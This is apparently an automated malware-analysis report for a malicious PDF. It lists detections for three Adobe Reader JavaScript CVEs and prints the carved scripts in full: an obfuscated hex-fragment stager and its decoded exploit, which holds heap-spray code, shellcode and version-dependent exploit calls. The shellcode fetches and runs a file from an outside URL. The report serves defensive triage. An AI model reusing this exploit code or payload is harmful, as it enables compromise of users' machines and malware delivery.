Malicious PDF — malware analysis report

Static analysis result for SHA-256 c5a8417063a25b39…

MALICIOUS

PDF

4.4 KB Created: 2009-19-08 36:38:51 +03:00 Authoring application: fackoPDF 6.08 (via BCL macroPDF 8.02) First seen: 2013-08-13
MD5: 779b4f0acfb481cc073eae2b04c40503 SHA-1: a19c05c379c63958a58331b3ee3a85246a06ecfb SHA-256: c5a8417063a25b393b6402f88bef7191ce2efae404a1d1ce91d39dc12b25f3eb
372 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Quoted-hex fragment JavaScript stager high PDF_QUOTED_HEX_FRAGMENT_JS_STAGER
    PDF JavaScript stores the hidden exploit stage as many quoted hexadecimal fragments, joins them through helper functions, and evals the recovered JavaScript. The decoder is bounded and only fires when the recovered stage contains concrete Acrobat exploit APIs or heap-spray shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF paints image(s) but contains no text operators info PDF_IMAGE_ONLY_LURE
    PDF has 1 image XObject(s) and the content stream contains no text-emitting operators (BT/ET, Tj, TJ, ', ") in either raw bytes or decompressed streams — this is the screenshot-as-PDF pattern used to bypass text-based scanners and to deliver instructions purely through rendered pixels. It is informational unless paired with invisible links or risky URI context.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://noscriptnew.com/forum2/getexe.php Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0015_000.js pdf-javascript-stream PDF /JS object 15 at offset 0x317 9182 bytes
SHA-256: e03646e4f31d48210549986e21e158d8584d69aecfddc54c62e059b4322a5386
Preview script
First 1,000 lines of the extracted script
tratat = eval;function CSuXPp (sda) {tratat(decodeURIComponent(sda));}function D4ItUW(lZGRkg, nReJJz) {return ((nReJJz instanceof Array)?nReJJz.join(lZGRkg):nReJJz);}function hKdMsWbxUtLLfGH3S() {var ZsRfQr=new Array('20207661722075','6a61506164307741','57566c78705831203d206e65','7720417272617928293b2020766172204674','5434574a305159697a594f4e484e','3b202066756e6374696f6e2074726e6755786366','5539515379','795472286277764f473670706e6f4e43','436661492c206c4f7a334c6268716b39','4969376c6179297b20','2020207768696c652028627776','4f473670706e6f4e434366','61492e6c656e6774','68202a2032203c206c4f7a33','4c6268716b394969','376c6179297b20202020202062','77764f47367070','6e6f4e4343666149','202b3d206277764f473670706e6f','4e43436661493b202020207d202020206277764f','473670706e6f4e4343666149203d20627776','4f473670706e6f4e43436661492e7375','62737472696e672830','2c206c4f7a334c6268716b394969376c617920','2f2032293b20','20202072657475726e','206277764f4736');var Z9Kjgq9YMIIJ9S8S7=D4ItUW("", ZsRfQr);return Z9Kjgq9YMIIJ9S8S7;}function d6I8yeSevkgNOpi9V() {var ZsRfQr=new Array('70706e6f4e43436661493b','20207d202066756e6374696f6e2064564e79','61436f4f324261447142564e286a56507637','386c7246345a4c70414a59297b','202020207661722048685747744b6675','5747384e52646b32203d203078','30633063306330633b202020207661722075','417746486838576c6773627142','3057203d20756e657363','6170652822257543303333257538423634257533','3034302575304337382575343038422575384230','43257531433730257538424144257530','3835382575303945','422575343038','4225753844333425','7537433430257535','38384225753641','334325753541','34342575453244','3125754532324225754543','384225753446454225','753532354125754541383325753839353625','7530343535','257535373536257537333842257538','4233432575333337342575303337382575353646','33257537363842257530333230257533334633','257534394339','25753431353025753333414425753336','46462575424530462575303331','34257546323338','2575303837342575434643312575303330','44257534304641257545464542257533423538','2575373546382575354545352575','343638422575303332342575','363643332575304338422575384234382575','3143353625754433303325','7530343842257530333841','257535464333257535303545','257538444333257530383744257535323537');var jH4uaMEipLBwqWYvo=D4ItUW("", ZsRfQr);return jH4uaMEipLBwqWYvo;}function A9YOsFlH5TPZ3hdxH() {var ZsRfQr=new Array('257533334238257538414341','257545383542257546464132257546','46464625754330333225754637384225','754145463225754238344625753245','3635257537383635257536364142257536363938','257542304142257538413643257539384530','257536383530','2575364536462575363432452575373536382575','3643373225','7535343644257538454238','25753045344525754646454325753034','3535257535303933257543303333','2575353035302575384235362575303435352575','4332383325753833374625753331433225753530','353225753336423825753246314125','7546463730257530','3435352575333335422575','3537464625','7542383536','2575464539');var UB1pXBlNhKJW1Dz0l=D4ItUW("", ZsRfQr);return UB1pXBlNhKJW1Dz0l;}function u0J6djfgQIdiIpi9N() {var ZsRfQr=new Array('3825753045384125753535464625753537303425','75454642382575453043452575','46463630257530343535257537343638','257537303734257532463341257536','4532462575373336462575373236','3325753730363925753645373425','7537373635257536333245','25753644364625753636','3246257537323646257536443735257532463332','25753635363725753635','373425753635373825753730324525753730','363822293b2020202069662028','6a56507637386c','7246345a4c70414a5920','3d3d2031297b2020202020204868574774','4b66755747384e52646b32','203d20307833303330','333033303b','202020207d202020','207661722072676e6d325367','586a6f754153664262203d20307834303030','30303b2020202076617220','423872387079','656266574357694c3462','203d207541774648683857','6c677362714230572e6c656e');var HukbF49FH9O3WQ5gj=D4ItUW("", ZsRfQr);return HukbF49FH9O3WQ5gj;}function io1t8ebQTJYrDTbpi() {var ZsRfQr=new Array('677468202a20323b2020','2020766172206c4f7a334c62','68716b394969376c6179203d2072676e6d325367','586a6f754153664262202d2028423872387079','65626657435769','4c3462202b2030','783338293b20202020766172','206277764f473670706e6f4e4343666149203d','20756e65736361','706528222575393039302575','3930393022293b202020206277764f473670','706e6f4e434366614920','3d2074726e6755','7863665539515379795472286277','764f473670','706e6f4e4343666149','2c206c4f7a334c6268716b394969376c617929','3b202020207661722063724e34','4b356134745645','4d42517932203d202848685747744b6675','5747384e52646b32202d203078','34303030303029202f2072676e6d325367586a');var uxxw6Mzcn4IXCc12c=D4ItUW("", ZsRfQr);return uxxw6Mzcn4IXCc12c;}function gVYkp7b4aDsIsqGov() {var ZsRfQr=new Array('6f7541536642623b20202020666f72202876','6172207770394e','6f6e79554a4131325735635920','3d20303b207770394e6f6e7955','4a413132573563','59203c2063724e344b3561347456454d425179','323b207770394e6f6e7955','4a41313257356359202b2b','20297b202020202020','756a6150616430774157566c787058315b7770','394e6f6e79554a413132573563595d20','3d206277764f47','3670706e6f4e4343666149202b','20754177464868','38576c677362714230573b20','2020207d20207d2020','66756e6374696f6e20483162','463643497969584b74','7849755628297b20202020766172207134','73787172523033534259576f3753203d20303b','202020207661722059','6968747531736359435656','56513165203d206170702e7669','6577657256657273696f6e2e');var EoYQrqx5Sy65sDLNl=D4ItUW("", ZsRfQr);return EoYQrqx5Sy65sDLNl;}function PhGSu9lmy2buePS5H() {var ZsRfQr=new Array('746f537472696e6728293b202020206170702e63','6c65617254696d654f7574284674','5434574a305159','697a594f4e484e293b2020','2020202069662028596968','74753173635943565656513165203c2037','2e31297b20202020202064','564e7961436f4f324261447142564e2830293b','202020202020766172204974634a6b35546e','57664c3454535748203d20756e657363617065','282225753063306325753063','306322293b2020202020','207768696c6520284974634a','6b35546e57664c3454','5357482e6c656e677468203c203434393532','294974634a6b35546e57664c345453','5748202b3d2049','74634a6b35546e5766','4c3454535748','3b20202020202074686973202e636f6c6c616253','746f7265203d20436f6c6c6162','2e636f6c6c656374456d61696c496e666f28','7b20202020202020207375626a203a2022222c20','6d7367203a204974634a6b35546e57664c345453','57482020202020207d202020202020293b20','2020207d20206966202859696874753173635943','565656513165203e3d2039297b20202020','2020747279207b2020696620','286170702e646f632e436f6c6c61622e676574','49636f6e297b20202020','20202020202064564e7961436f','4f324261447142564e2832293b202020202020','20202020766172204b4542354634686e4743','496d634a5237203d20756e657363','617065282225303922293b202020202020','202020207768696c6520284b4542354634686e','4743496d634a52372e6c656e677468203c20','30783430303029');var o3Ll1RpseAGQGTJxj=D4ItUW("", ZsRfQr);return o3Ll1RpseAGQGTJxj;}function nXerYGlCgEHyXKKIK() {var ZsRfQr=new Array('4b4542354634686e','4743496d634a5237202b3d204b','4542354634686e4743496d634a52373b202020','202020202020204b4542354634','686e4743496d634a5237203d20224e2e22','202b204b4542354634686e4743496d634a52','373b2020617070','2e646f632e436f6c6c61622e6765','7449636f6e284b45423546','34686e4743496d634a5237293b20202020','20202020202071347378717252303353','4259576f3753203d20313b20202020202020207d','2020202020202020656c7365207b20202020','2020202020207134737871725230335342','59576f3753','203d20313b202020','2020202020','7d2020202020207d2020202020206361746368','202865297b2020202020','202020713473787172523033534259576f375320');var W9DQJTqZxAXgwPZT5=D4ItUW("", ZsRfQr);return W9DQJTqZxAXgwPZT5;}function sCE2RWzyqJHA6PNVi() {var ZsRfQr=new Array('3d20313b2020202020207d20202020','202069662028713473787172523033534259','576f3753203d3d2031297b20202020','2020202069662028285969687475317363594356','5656513165203e3d20372e312626','2059696874753173635943565656513165203c20','3929297b202020','2020202020202064564e7961436f4f3242','61447142564e2831293b20202020202020','202020766172205934517838756c655a37','693359454b6a203d202231323939393939393939','39393939393939393939223b202020','20202020202020666f7220284656','6f685a565670686e624b3833524b','203d20303b2046566f685a565670686e','624b3833524b203c','203237363b2046566f685a565670686e624b3833','524b202b2b','20297b20202020202020202020202059345178','38756c655a37693359454b6a202b3d','202238223b20202020202020202020','7d20202020202020202020757469','6c2e7072696e7466282225343530303066222c20');var iMIoWpVSE5vIVxdiB=D4ItUW("", ZsRfQr);return iMIoWpVSE5vIVxdiB;}function je9YyQj4q7YYyurmQ() {var ZsRfQr=new Array('5934517838756c','655a37693359454b6a293b','20202020202020207d2020202020207d202020','207d20207d20206170702e4c7249446c34','734c41614e6a706853','48203d2048','3162463643497969584b7478497556','3b202046745434574a305159697a594f4e48','4e203d206170702e73657454696d654f75','7428226170702e4c7249446c','34734c41614e6a706853','482829222c203130293b2020');var MHsvMoDrlraxVkgAt=D4ItUW("", ZsRfQr);return MHsvMoDrlraxVkgAt;}var CxB05ki=hKdMsWbxUtLLfGH3S()/*GHaK3r&a3*/+d6I8yeSevkgNOpi9V()/*GHaK3r&a3*/+A9YOsFlH5TPZ3hdxH()/*GHaK3r&a3*/+u0J6djfgQIdiIpi9N()/*GHaK3r&a3*/+io1t8ebQTJYrDTbpi()/*GHaK3r&a3*/+gVYkp7b4aDsIsqGov()/*GHaK3r&a3*/+PhGSu9lmy2buePS5H()/*GHaK3r&a3*/+nXerYGlCgEHyXKKIK()/*GHaK3r&a3*/+sCE2RWzyqJHA6PNVi()/*GHaK3r&a3*/+je9YyQj4q7YYyurmQ();var Eh3OfX="";for (var h=0;h<CxB05ki.length;h++) {Eh3OfX=Eh3OfX+"%"+CxB05ki[h]+CxB05ki[h+1];h++;}CSuXPp(Eh3OfX);
quoted_hex_fragment_stage_000.js deobfuscated-js quoted-hex fragment decoded JavaScript object 15 at offset 0x3F1 3316 bytes
SHA-256: eb595250162433633c08cdea9d5bf3a4cc5d629e3ba675556d1bbf046e3a150a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var ujaPad0wAWVlxpX1 = new Array();  var FtT4WJ0QYizYONHN;  function trngUxcfU9QSyyTr(bwvOG6ppnoNCCfaI, lOz3Lbhqk9Ii7lay){    while (bwvOG6ppnoNCCfaI.length * 2 < lOz3Lbhqk9Ii7lay){      bwvOG6ppnoNCCfaI += bwvOG6ppnoNCCfaI;    }    bwvOG6ppnoNCCfaI = bwvOG6ppnoNCCfaI.substring(0, lOz3Lbhqk9Ii7lay / 2);    return bwvOG6ppnoNCCfaI;  }  function dVNyaCoO2BaDqBVN(jVPv78lrF4ZLpAJY){    var HhWGtKfuWG8NRdk2 = 0x0c0c0c0c;    var uAwFHh8WlgsbqB0W = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6E2F%u736F%u7263%u7069%u6E74%u7765%u632E%u6D6F%u662F%u726F%u6D75%u2F32%u6567%u6574%u6578%u702E%u7068");    if (jVPv78lrF4ZLpAJY == 1){      HhWGtKfuWG8NRdk2 = 0x30303030;    }    var rgnm2SgXjouASfBb = 0x400000;    var B8r8pyebfWCWiL4b = uAwFHh8WlgsbqB0W.length * 2;    var lOz3Lbhqk9Ii7lay = rgnm2SgXjouASfBb - (B8r8pyebfWCWiL4b + 0x38);    var bwvOG6ppnoNCCfaI = unescape("%u9090%u9090");    bwvOG6ppnoNCCfaI = trngUxcfU9QSyyTr(bwvOG6ppnoNCCfaI, lOz3Lbhqk9Ii7lay);    var crN4K5a4tVEMBQy2 = (HhWGtKfuWG8NRdk2 - 0x400000) / rgnm2SgXjouASfBb;    for (var wp9NonyUJA12W5cY = 0; wp9NonyUJA12W5cY < crN4K5a4tVEMBQy2; wp9NonyUJA12W5cY ++ ){      ujaPad0wAWVlxpX1[wp9NonyUJA12W5cY] = bwvOG6ppnoNCCfaI + uAwFHh8WlgsbqB0W;    }  }  function H1bF6CIyiXKtxIuV(){    var q4sxqrR03SBYWo7S = 0;    var Yihtu1scYCVVVQ1e = app.viewerVersion.toString();    app.clearTimeOut(FtT4WJ0QYizYONHN);      if (Yihtu1scYCVVVQ1e < 7.1){      dVNyaCoO2BaDqBVN(0);      var ItcJk5TnWfL4TSWH = unescape("%u0c0c%u0c0c");      while (ItcJk5TnWfL4TSWH.length < 44952)ItcJk5TnWfL4TSWH += ItcJk5TnWfL4TSWH;      this .collabStore = Collab.collectEmailInfo({        subj : "", msg : ItcJk5TnWfL4TSWH      }      );    }  if (Yihtu1scYCVVVQ1e >= 9){      try {  if (app.doc.Collab.getIcon){          dVNyaCoO2BaDqBVN(2);          var KEB5F4hnGCImcJR7 = unescape("%09");          while (KEB5F4hnGCImcJR7.length < 0x4000)KEB5F4hnGCImcJR7 += KEB5F4hnGCImcJR7;          KEB5F4hnGCImcJR7 = "N." + KEB5F4hnGCImcJR7;  app.doc.Collab.getIcon(KEB5F4hnGCImcJR7);          q4sxqrR03SBYWo7S = 1;        }        else {          q4sxqrR03SBYWo7S = 1;        }      }      catch (e){        q4sxqrR03SBYWo7S = 1;      }      if (q4sxqrR03SBYWo7S == 1){        if ((Yihtu1scYCVVVQ1e >= 7.1&& Yihtu1scYCVVVQ1e < 9)){          dVNyaCoO2BaDqBVN(1);          var Y4Qx8uleZ7i3YEKj = "12999999999999999999";          for (FVohZVVphnbK83RK = 0; FVohZVVphnbK83RK < 276; FVohZVVphnbK83RK ++ ){            Y4Qx8uleZ7i3YEKj += "8";          }          util.printf("%45000f", Y4Qx8uleZ7i3YEKj);        }      }    }  }  app.LrIDl4sLAaNjphSH = H1bF6CIyiXKtxIuV;  FtT4WJ0QYizYONHN = app.setTimeOut("app.LrIDl4sLAaNjphSH()", 10);